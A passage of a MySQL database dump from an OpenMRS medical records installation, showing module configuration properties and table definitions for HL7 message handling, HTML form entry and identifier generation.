desired.','d3f1b3c5-1f19-44f6-8303-6e96d0eefaae',NULL,NULL,NULL,NULL),('reporting.defaultDateFormat','dd/MMM/yyyy','Default date format to use when formatting report data','dbfe013f-083b-480e-87e1-ff7770fd2bca',NULL,NULL,NULL,NULL),('reporting.defaultLocale','en','Default locale to use when formatting report data','3a325915-c184-471d-acf2-d6fa5c2ee9e9',NULL,NULL,NULL,NULL),('reporting.evaluationLoggerEnabled','false','If false, will disable the built in use of the evaluation logger to log evaluation information for performance diagnostics','7ce5ddc4-478e-42af-a82c-776a6902c5e4',NULL,NULL,NULL,NULL),('reporting.includeDataExportsAsDataSetDefinitions','false','If reportingcompatibility is installed, this indicates whether data exports should be exposed as Dataset Definitions','dce363a0-be86-485b-850d-4a520cc46697',NULL,NULL,NULL,NULL),('reporting.mandatory','false','true/false whether or not the reporting module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','70e60973-f0da-4961-b83d-98b97200168a',NULL,NULL,NULL,NULL),('reporting.maxCachedReports','10','The maximum number of reports whose underlying data and output should be kept in the cache at any one time','329d9ba8-7d64-4720-8159-b1f5eceb8a14',NULL,NULL,NULL,NULL),('reporting.maxReportsToRun','1','The maximum number of reports that should be processed at any one time','af0e29c1-7c93-4883-bb49-5589002a50e2',NULL,NULL,NULL,NULL),('reporting.preferredIdentifierTypes',NULL,'Pipe-separated list of patient identifier type names, which should be displayed on default patient datasets','26c85010-c757-4326-ae92-8665be029c2e',NULL,NULL,NULL,NULL),('reporting.runReportCohortFilterMode','showIfNull','Supports the values hide,showIfNull,show which determine whether the cohort selector should be available in the run report page','2c815c13-9b37-459e-9cd8-db25bd9e7c20',NULL,NULL,NULL,NULL),('reporting.started','true','DO NOT MODIFY. true/false whether or not the reporting module has been started. This is used to make sure modules that were running prior to a restart are started again','14c90ef7-b2ba-45e6-897e-b53cc183952e',NULL,NULL,NULL,NULL),('reporting.testPatientsCohortDefinition',NULL,'Points to a cohort definition representing all test/fake patients that you want to exclude from all queries and reports. You may set this to the UUID of a saved cohort definition, or to \"library:keyInADefinitionLibrary\"','50335a1a-74aa-4dcf-b444-1689e611cd59',NULL,NULL,NULL,NULL),('reportingrest.mandatory','false','true/false whether or not the reportingrest module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','7e67f1b5-28aa-4a87-8c87-0f81f5f66915',NULL,NULL,NULL,NULL),('reportingrest.started','true','DO NOT MODIFY. true/false whether or not the reportingrest module has been started. This is used to make sure modules that were running prior to a restart are started again','9345a324-707a-41da-8165-cee2948facc0',NULL,NULL,NULL,NULL),('reportProblem.url','http://errors.openmrs.org/scrap','The openmrs url where to submit bug reports','6a14f3ca-3ced-4558-a301-00f302053d37',NULL,NULL,NULL,NULL),('scheduler.password','test','Password for the OpenMRS user that will perform the scheduler activities','bef927a3-3159-451b-a0d8-ff98aa9f0a12',NULL,NULL,NULL,NULL),('scheduler.username','admin','Username for the OpenMRS user that will perform the scheduler activities','9a6ba783-4e5a-44bb-a47f-e93a0b114e3a',NULL,NULL,NULL,NULL),('scheduletracker.mandatory','false','true/false whether or not the scheduletracker module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','8f702de6-cd02-4a0f-8c28-f304587ed5f1',NULL,NULL,NULL,NULL),('scheduletracker.started','true','DO NOT MODIFY. true/false whether or not the scheduletracker module has been started. This is used to make sure modules that were running prior to a restart are started again','17ae6d6e-148b-42fc-87ff-b2a63f3fe11f',NULL,NULL,NULL,NULL),('search.caseSensitiveDatabaseStringComparison','true','Indicates whether database string comparison is case sensitive or not. Setting this to false for MySQL with a case insensitive collation improves search performance.','4ea7007c-b57b-438f-affb-37d96bf5f5f3',NULL,NULL,NULL,NULL),('search.indexVersion','3','Indicates the index version. If it is blank, the index needs to be rebuilt.','ddc67384-2485-4ea0-92f6-3fe92224c640',NULL,NULL,NULL,NULL),('searchWidget.batchSize','200','The maximum number of search results that are returned by an ajax call','4d146cc6-878b-44a7-a44a-00285629308a',NULL,NULL,NULL,NULL),('searchWidget.dateDisplayFormat',NULL,'Date display format to be used to display the date somewhere in the UI i.e the search widgets and autocompletes','dd74b8e8-c27b-409a-8971-3948b283abf8',NULL,NULL,NULL,NULL),('searchWidget.maximumResults','2000','Specifies the maximum number of results to return from a single search in the search widgets','c1e04788-843b-43f5-af1e-a8af49659b4c',NULL,NULL,NULL,NULL),('searchWidget.runInSerialMode','false','Specifies whether the search widgets should make ajax requests in serial or parallel order, a value of true is appropriate for implementations running on a slow network connection and vice versa','2f44c801-5a9f-4bcf-9a8b-bd5085423b01','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('searchWidget.searchDelayInterval','300','Specifies time interval in milliseconds when searching, between keyboard keyup event and triggering the search off, should be higher if most users are slow when typing so as to minimise the load on the server','9f9ea887-41d4-446f-926c-f1ffdd91a542',NULL,NULL,NULL,NULL),('security.allowedFailedLoginsBeforeLockout','7','Maximum number of failed logins allowed after which username is locked out','f4e0f026-816b-44fc-bbea-cc35bf9b21b8',NULL,NULL,NULL,NULL),('security.passwordCannotMatchUsername','true','Configure whether passwords must not match user\'s username or system id','3066b5eb-ff78-40f6-aa2f-5c41bb9dc36d','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('security.passwordCustomRegex',NULL,'Configure a custom regular expression that a password must match','<PASSWORD>',NULL,NULL,NULL,NULL),('security.passwordMinimumLength','8','Configure the minimum length required of all passwords','<PASSWORD>',NULL,NULL,NULL,NULL),('security.passwordRequiresDigit','true','Configure whether passwords must contain at least one digit','<PASSWORD>','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('security.passwordRequiresNonDigit','true','Configure whether passwords must contain at least one non-digit','<PASSWORD>','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('security.passwordRequiresUpperAndLowerCase','true','Configure whether passwords must contain both upper and lower case characters','<PASSWORD>','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('serialization.xstream.mandatory','false','true/false whether or not the serialization.xstream module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','6ae3ae8c-d958-4fc7-b539-be23dd3b3c76',NULL,NULL,NULL,NULL),('serialization.xstream.started','true','DO NOT MODIFY. true/false whether or not the serialization.xstream module has been started. This is used to make sure modules that were running prior to a restart are started again','423049f2-32b9-44ad-a534-6ab26124d712',NULL,NULL,NULL,NULL),('sync.admin_email',NULL,'Email address for administrator responsible for this server.','dea1c015-6aa6-4fb9-97d9-ee0b24fcfbfd',NULL,NULL,NULL,NULL),('sync.connection_timeout',NULL,'Timeout before sync process gives up trying to connect to parent server. If null, sync default formula is used. Units are milliseconds (remember, 6000 represents a minute).','ce097417-bfca-402e-87cb-10b56de0a082',NULL,NULL,NULL,NULL),('sync.database_version','1.1.3','DO NOT MODIFY. Current database version number for the sync module.','3a96d042-f709-4644-b4e6-4983f068c23f',NULL,NULL,NULL,NULL),('sync.date_pattern','MM/dd/yyyy HH:mm:ss','The date format','9972e704-8395-4291-8136-1fb5a3f48128',NULL,NULL,NULL,NULL),('sync.default_role','System Developer, Administrator','Server role for the synchronization scheduled task login.','f8ba3dcf-a63d-4ea7-b97e-ec87e30a87bb',NULL,NULL,NULL,NULL),('sync.ignored_java_exceptions','javax.net.ssl.SSLHandshakeException, org.apache.commons.httpclient.ConnectTimeoutException','Comma separated list of exceptions that will not cause an increment of the retryCount on sync records. (exact matches on class names only, no child classes matched)','4c5674ac-8b2d-4a2c-b0fa-81c72e656b78',NULL,NULL,NULL,NULL),('sync.mandatory','false','true/false whether or not the sync module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','c456f819-c51f-4b25-af65-d7decde305d3',NULL,NULL,NULL,NULL),('sync.max_page_records','10','Number of sync items to be shown per page.','d6813d92-549d-42a5-8166-b28db2df2a12',NULL,NULL,NULL,NULL),('sync.max_records.file','50','Number of records to package up and send at a time via a file.','d1719d9e-9be1-437e-9a59-79d3753d9d5f',NULL,NULL,NULL,NULL),('sync.max_records.web','50','Number of records to package up and send at a time via the web.','80c206e1-c4bf-42d8-adfb-68d9c8a70bc3',NULL,NULL,NULL,NULL),('sync.max_retry_count','5','Number of times to try to retry automatic synchronization before giving up.','8d1a6f7f-c9df-4ce6-b851-68f018843f14',NULL,NULL,NULL,NULL),('sync.roleToReceiveAlerts',NULL,'The role for the users to receive alerts generated when the Sync module sends out an email','6221415a-921d-4e5d-b11a-18cff0591978',NULL,NULL,NULL,NULL),('sync.server_name',NULL,'Display name for this server, to distinguish it from other servers.','006ae599-5ded-4f17-b64d-6020a6e7fe80',NULL,NULL,NULL,NULL),('sync.server_uuid','c8945b79-9c14-11e6-aeb3-0242ac110009','Universally unique server id used to identify a given data source in synchronization.','c8945bc0-9c14-11e6-aeb3-0242ac110009',NULL,NULL,NULL,NULL),('sync.started','true','DO NOT MODIFY. true/false whether or not the sync module has been started. This is used to make sure modules that were running prior to a restart are started again','8166a631-d64b-48c5-80ed-b3705fdd082d',NULL,NULL,NULL,NULL),('sync.system_id_template','{SYNCSERVERNAME}_{NEXTUSERID}{CHECKDIGIT}','The template used to generate new users\' system_id on this server. Available options: {SYNCSERVERNAME}, {SYNCSERVERUUID}, {NEXTUSERID}, {CHECKDIGIT}. Empty string will use core\'s built-in algorithm (warning: this WILL produce duplicate system ids if user generation is done on multiple servers. Use empty string with caution)','5e4342ad-8f92-47de-8153-1ece6a0008aa',NULL,NULL,NULL,NULL),('teammodule.mandatory','false','true/false whether or not the teammodule module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','ea95fa46-3198-43c6-8a40-4d62f3b200dd',NULL,NULL,NULL,NULL),('teammodule.started','true','DO NOT MODIFY. true/false whether or not the teammodule module has been started. This is used to make sure modules that were running prior to a restart are started again','2e328de6-458f-4761-955e-3b1bb3b55472',NULL,NULL,NULL,NULL),('uiframework.formatter.dateAndTimeFormat','dd.MMM.yyyy, HH:mm:ss','Format used by UiUtils.format for dates that have a time component','1e5a152b-65dd-495e-82ab-bd5ab3e1d2eb',NULL,NULL,NULL,NULL),('uiframework.formatter.dateFormat','dd.MMM.yyyy','Format used by UiUtils.format for dates that do not have a time component','c8b71969-ffc6-4639-b533-1c03f969788e',NULL,NULL,NULL,NULL),('uiframework.mandatory','false','true/false whether or not the uiframework module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','817655f6-1b6e-4538-aec2-5dcfdd3de834',NULL,NULL,NULL,NULL),('uiframework.started','true','DO NOT MODIFY. true/false whether or not the uiframework module has been started. This is used to make sure modules that were running prior to a restart are started again','e30418dc-5bd2-463f-ba48-ad4e730362bf',NULL,NULL,NULL,NULL),('user.headerAttributeTypes',NULL,'A comma delimited list of PersonAttributeType names that will be shown on the user dashboard. (not used in v1.5)','96bb8988-6d77-47f5-b29c-e9c87872acd2',NULL,NULL,NULL,NULL),('user.listingAttributeTypes',NULL,'A comma delimited list of PersonAttributeType names that should be displayed for users in _lists_','83b320e8-3040-4eeb-bc24-db82b4eabf3a',NULL,NULL,NULL,NULL),('user.requireEmailAsUsername','false','Indicates whether a username must be a valid e-mail or not.','b623e497-b8ff-49d2-892c-a0949a86d5ba','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('user.viewingAttributeTypes',NULL,'A comma delimited list of PersonAttributeType names that should be displayed for users when _viewing individually_','ac2fe496-2cee-4048-bff4-7c0f176b5599',NULL,NULL,NULL,NULL),('use_patient_attribute.healthCenter','false','Indicates whether or not the \'health center\' attribute is shown when viewing/searching for patients','bbd77630-2ce0-43ec-a372-db5bde495512','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('use_patient_attribute.mothersName','false','Indicates whether or not mother\'s name is able to be added/viewed for a patient','766691a8-a51a-4961-9727-0c5393d0403a','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('visits.allowOverlappingVisits','true','true/false whether or not to allow visits of a given patient to overlap','5e782af1-709e-4e49-abd6-057ba0b4d886','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('visits.assignmentHandler','org.openmrs.api.handler.ExistingVisitAssignmentHandler','Set to the name of the class responsible for assigning encounters to visits.','ee1b4744-53fe-4589-86b2-ac31ce0d6b79',NULL,NULL,NULL,NULL),('visits.autoCloseVisitType',NULL,'comma-separated list of the visit type(s) to automatically close','b58ccef5-ed35-4028-8651-0772651539b6',NULL,NULL,NULL,NULL),('visits.enabled','true','Set to true to enable the Visits feature. This will replace the \'Encounters\' tab with a \'Visits\' tab on the dashboard.','6a2243af-da1f-4df0-ae61-2e497b8272e4','org.openmrs.customdatatype.datatype.BooleanDatatype',NULL,NULL,NULL),('visits.encounterTypeToVisitTypeMapping',NULL,'Specifies how encounter types are mapped to visit types when automatically assigning encounters to visits. e.g 1:1, 2:1, 3:2 in the format encounterTypeId:visitTypeId or encounterTypeUuid:visitTypeUuid or a combination of encounter/visit type uuids and ids e.g 1:759799ab-c9a5-435e-b671-77773ada74e4','5d41f465-1490-4ba2-a1cf-0c1aa86938d3',NULL,NULL,NULL,NULL),('webservices.rest.allowedips',NULL,'A comma-separate list of IP addresses that are allowed to access the web services. An empty string allows everyone to access all ws. \n IPs can be declared with bit masks e.g. 10.0.0.0/30 matches 10.0.0.0 - 10.0.0.3 and 10.0.0.0/24 matches 10.0.0.0 - 10.0.0.255.','52ea8bf2-a5d1-4e36-9556-40650eb10a23',NULL,NULL,NULL,NULL),('webservices.rest.mandatory','false','true/false whether or not the webservices.rest module MUST start when openmrs starts. This is used to make sure that mission critical modules are always running if openmrs is running.','411c2f48-09a0-4bed-b0ed-3bfc8718a2b8',NULL,NULL,NULL,NULL),('webservices.rest.maxResultsAbsolute','100','The absolute max results limit. If the client requests a larger number of results, then will get an error','bbe29640-8ccb-43df-a5cb-5d92310127d3',NULL,NULL,NULL,NULL),('webservices.rest.maxResultsDefault','50','The default max results limit if the user does not provide a maximum when making the web service call.','8e1869b7-0d8b-48f0-9dec-2280f712279c',NULL,NULL,NULL,NULL),('webservices.rest.started','true','DO NOT MODIFY. true/false whether or not the webservices.rest module has been started. This is used to make sure modules that were running prior to a restart are started again','3bb35fde-da15-4940-a506-0e954ee25a8b',NULL,NULL,NULL,NULL),('webservices.rest.uriPrefix',NULL,'The URI prefix through which clients consuming web services will connect to the web application, should be of the form http://{ipAddress}:{port}/{contextPath}','b7353030-c963-4e28-9795-1f6bf6a4caed',NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `global_property` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `hl7_in_archive` -- DROP TABLE IF EXISTS `hl7_in_archive`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `hl7_in_archive` ( `hl7_in_archive_id` int(11) NOT NULL AUTO_INCREMENT, `hl7_source` int(11) NOT NULL DEFAULT '0', `hl7_source_key` varchar(255) DEFAULT NULL, `hl7_data` text NOT NULL, `date_created` datetime NOT NULL, `message_state` int(11) DEFAULT '2', `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`hl7_in_archive_id`), UNIQUE KEY `hl7_in_archive_uuid_index` (`uuid`), KEY `hl7_in_archive_message_state_idx` (`message_state`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `hl7_in_archive` -- LOCK TABLES `hl7_in_archive` WRITE; /*!40000 ALTER TABLE `hl7_in_archive` DISABLE KEYS */; /*!40000 ALTER TABLE `hl7_in_archive` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `hl7_in_error` -- DROP TABLE IF EXISTS `hl7_in_error`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `hl7_in_error` ( `hl7_in_error_id` int(11) NOT NULL AUTO_INCREMENT, `hl7_source` int(11) NOT NULL DEFAULT '0', `hl7_source_key` text, `hl7_data` text NOT NULL, `error` varchar(255) NOT NULL DEFAULT '', `error_details` mediumtext, `date_created` datetime NOT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`hl7_in_error_id`), UNIQUE KEY `hl7_in_error_uuid_index` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `hl7_in_error` -- LOCK TABLES `hl7_in_error` WRITE; /*!40000 ALTER TABLE `hl7_in_error` DISABLE KEYS */; /*!40000 ALTER TABLE `hl7_in_error` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `hl7_in_queue` -- DROP TABLE IF EXISTS `hl7_in_queue`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `hl7_in_queue` ( `hl7_in_queue_id` int(11) NOT NULL AUTO_INCREMENT, `hl7_source` int(11) NOT NULL DEFAULT '0', `hl7_source_key` text, `hl7_data` text NOT NULL, `message_state` int(11) NOT NULL DEFAULT '0', `date_processed` datetime DEFAULT NULL, `error_msg` text, `date_created` datetime DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`hl7_in_queue_id`), UNIQUE KEY `hl7_in_queue_uuid_index` (`uuid`), KEY `hl7_source_with_queue` (`hl7_source`), CONSTRAINT `hl7_source_with_queue` FOREIGN KEY (`hl7_source`) REFERENCES `hl7_source` (`hl7_source_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `hl7_in_queue` -- LOCK TABLES `hl7_in_queue` WRITE; /*!40000 ALTER TABLE `hl7_in_queue` DISABLE KEYS */; /*!40000 ALTER TABLE `hl7_in_queue` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `hl7_source` -- DROP TABLE IF EXISTS `hl7_source`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `hl7_source` ( `hl7_source_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL DEFAULT '', `description` text, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`hl7_source_id`), UNIQUE KEY `hl7_source_uuid_index` (`uuid`), KEY `user_who_created_hl7_source` (`creator`), CONSTRAINT `user_who_created_hl7_source` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `hl7_source` -- LOCK TABLES `hl7_source` WRITE; /*!40000 ALTER TABLE `hl7_source` DISABLE KEYS */; INSERT INTO `hl7_source` VALUES (1,'LOCAL','',1,'2006-09-01 00:00:00','8d6b8bb6-c2cc-11de-8d13-0010c6dffd0f'); /*!40000 ALTER TABLE `hl7_source` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `htmlformentry_html_form` -- DROP TABLE IF EXISTS `htmlformentry_html_form`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `htmlformentry_html_form` ( `id` int(11) NOT NULL AUTO_INCREMENT, `form_id` int(11) DEFAULT NULL, `name` varchar(255) DEFAULT NULL, `xml_data` mediumtext NOT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL DEFAULT '0002-11-30 00:00:00', `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `uuid` char(38) NOT NULL, `description` varchar(1000) DEFAULT NULL, `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `htmlformentry_html_form_uuid_index` (`uuid`), KEY `User who created htmlformentry_htmlform` (`creator`), KEY `Form with which this htmlform is related` (`form_id`), KEY `User who changed htmlformentry_htmlform` (`changed_by`), KEY `user_who_retired_html_form` (`retired_by`), CONSTRAINT `Form with which this htmlform is related` FOREIGN KEY (`form_id`) REFERENCES `form` (`form_id`), CONSTRAINT `User who changed htmlformentry_htmlform` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `User who created htmlformentry_htmlform` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_html_form` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `htmlformentry_html_form` -- LOCK TABLES `htmlformentry_html_form` WRITE; /*!40000 ALTER TABLE `htmlformentry_html_form` DISABLE KEYS */; /*!40000 ALTER TABLE `htmlformentry_html_form` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `idgen_auto_generation_option` -- DROP TABLE IF EXISTS `idgen_auto_generation_option`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `idgen_auto_generation_option` ( `id` int(11) NOT NULL AUTO_INCREMENT, `identifier_type` int(11) NOT NULL, `source` int(11) NOT NULL, `manual_entry_enabled` tinyint(1) NOT NULL DEFAULT '1', `automatic_generation_enabled` tinyint(1) NOT NULL DEFAULT '1', `location` int(11) DEFAULT NULL, PRIMARY KEY (`id`), KEY `source for idgen_auto_generation_option` (`source`), KEY `location_for_auto_generation_option` (`location`), KEY `identifier_type for idgen_auto_generation_option` (`identifier_type`), CONSTRAINT `identifier_type for idgen_auto_generation_option` FOREIGN KEY (`identifier_type`) REFERENCES `patient_identifier_type` (`patient_identifier_type_id`), CONSTRAINT `location_for_auto_generation_option` FOREIGN KEY (`location`) REFERENCES `location` (`location_id`), CONSTRAINT `source for idgen_auto_generation_option` FOREIGN KEY (`source`) REFERENCES `idgen_identifier_source` (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `idgen_auto_generation_option` -- LOCK TABLES `idgen_auto_generation_option` WRITE; /*!40000 ALTER TABLE `idgen_auto_generation_option` DISABLE KEYS */; /*!40000 ALTER TABLE `idgen_auto_generation_option` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `idgen_id_pool` -- DROP TABLE IF EXISTS `idgen_id_pool`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `idgen_id_pool` ( `id` int(11) NOT NULL, `source` int(11) DEFAULT NULL, `batch_size` int(11) DEFAULT NULL, `min_pool_size` int(11) DEFAULT NULL, `sequential` tinyint(1) NOT NULL DEFAULT '0', `refill_with_scheduled_task` tinyint(1) NOT NULL DEFAULT '1', PRIMARY KEY (`id`), KEY `source for idgen_id_pool` (`source`), CONSTRAINT `id for idgen_id_pool` FOREIGN KEY (`id`) REFERENCES `idgen_identifier_source` (`id`), CONSTRAINT `source for idgen_id_pool` FOREIGN KEY (`source`) REFERENCES `idgen_identifier_source` (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `idgen_id_pool` -- LOCK TABLES `idgen_id_pool` WRITE; /*!40000 ALTER TABLE `idgen_id_pool` DISABLE KEYS */; /*!40000 ALTER TABLE `idgen_id_pool` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `idgen_identifier_source` -- DROP TABLE IF EXISTS `idgen_identifier_source`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `idgen_identifier_source` ( `id` int(11) NOT NULL AUTO_INCREMENT, `uuid` char(38) NOT NULL, `name` varchar(255) NOT NULL, `description` varchar(1000) DEFAULT NULL, `identifier_type` int(11) NOT NULL DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`), KEY `id for idgen_identifier_source` (`id`), KEY `identifier_type for idgen_identifier_source` (`identifier_type`), KEY `creator for idgen_identifier_source` (`creator`), KEY `changed_by for idgen_identifier_source` (`changed_by`), KEY `retired_by for idgen_identifier_source` (`retired_by`), CONSTRAINT `changed_by for idgen_identifier_source` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `creator for idgen_identifier_source` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `identifier_type for idgen_identifier_source` FOREIGN KEY (`identifier_type`) REFERENCES `patient_identifier_type` (`patient_identifier_type_id`), CONSTRAINT `retired_by for idgen_identifier_source` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `idgen_identifier_source` -- LOCK TABLES `idgen_identifier_source` WRITE; /*!40000 ALTER TABLE `idgen_identifier_source` DISABLE KEYS */; /*!40000 ALTER TABLE `idgen_identifier_source` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `idgen_log_entry` -- DROP TABLE IF EXISTS `idgen_log_entry`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `idgen_log_entry` ( `id` int(11) NOT NULL AUTO_INCREMENT, `source` int(11) NOT NULL, `identifier` varchar(50) NOT NULL, `date_generated` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `generated_by` int(11) NOT NULL, `comment` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`), KEY `id for idgen_log` (`id`), KEY `source for idgen_log` (`source`), KEY `generated_by for idgen_log` (`generated_by`), CONSTRAINT `generated_by for idgen_log` FOREIGN KEY (`generated_by`) REFERENCES `users` (`user_id`), CONSTRAINT `source for idgen_log` FOREIGN KEY (`source`) REFERENCES `idgen_identifier_source` (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `idgen_log_entry` -- LOCK TABLES `idgen_log_entry` WRITE; /*!40000 ALTER TABLE `idgen_log_entry` DISABLE KEYS */; /*!40000 ALTER TABLE `idgen_log_entry` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `idgen_pooled_identifier` -- DROP TABLE IF EXISTS `idgen_pooled_identifier`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `idgen_pooled_identifier` ( `id` int(11) NOT NULL AUTO_INCREMENT, `uuid` char(38) NOT NULL, `pool_id` int(11) NOT NULL, `identifier` varchar(50) NOT NULL, `date_used` datetime DEFAULT NULL, `comment` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`), KEY `pool_id for idgen_pooled_identifier` (`pool_id`), CONSTRAINT `pool_id for idgen_pooled_identifier` FOREIGN KEY (`pool_id`) REFERENCES `idgen_id_pool` (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `idgen_pooled_identifier` -- LOCK TABLES `idgen_pooled_identifier` WRITE; /*!40000 ALTER TABLE `idgen_pooled_identifier` DISABLE KEYS */; /*!40000 ALTER TABLE `idgen_pooled_identifier` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `idgen_remote_source` -- DROP TABLE IF EXISTS `idgen_remote_source`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `idgen_remote_source` ( `id` int(11) NOT NULL, `url` varchar(255) NOT NULL, `user` varchar(50) DEFAULT NULL, `password` varchar(20) DEFAULT NULL, PRIMARY KEY (`id`), CONSTRAINT `id for idgen_remote_source` FOREIGN KEY (`id`) REFERENCES `idgen_identifier_source` (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `idgen_remote_source` -- LOCK TABLES `idgen_remote_source` WRITE; /*!40000 ALTER TABLE `idgen_remote_source` DISABLE KEYS */; /*!40000 ALTER TABLE `idgen_remote_source` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `idgen_reserved_identifier` -- DROP TABLE IF EXISTS `idgen_reserved_identifier`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `idgen_reserved_identifier` ( `id` int(11) NOT NULL AUTO_INCREMENT, `source` int(11) NOT NULL, `identifier` varchar(50) NOT NULL, PRIMARY KEY (`id`), KEY `id for idgen_reserved_identifier` (`id`), KEY `source for idgen_reserved_identifier` (`source`), CONSTRAINT `source for idgen_reserved_identifier` FOREIGN KEY (`source`) REFERENCES `idgen_identifier_source` (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `idgen_reserved_identifier` -- LOCK TABLES `idgen_reserved_identifier` WRITE; /*!40000 ALTER TABLE `idgen_reserved_identifier` DISABLE KEYS */; /*!40000 ALTER TABLE `idgen_reserved_identifier` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `idgen_seq_id_gen` -- DROP TABLE IF EXISTS `idgen_seq_id_gen`; /*!40101 SET @saved_cs_client = @@character_set_client 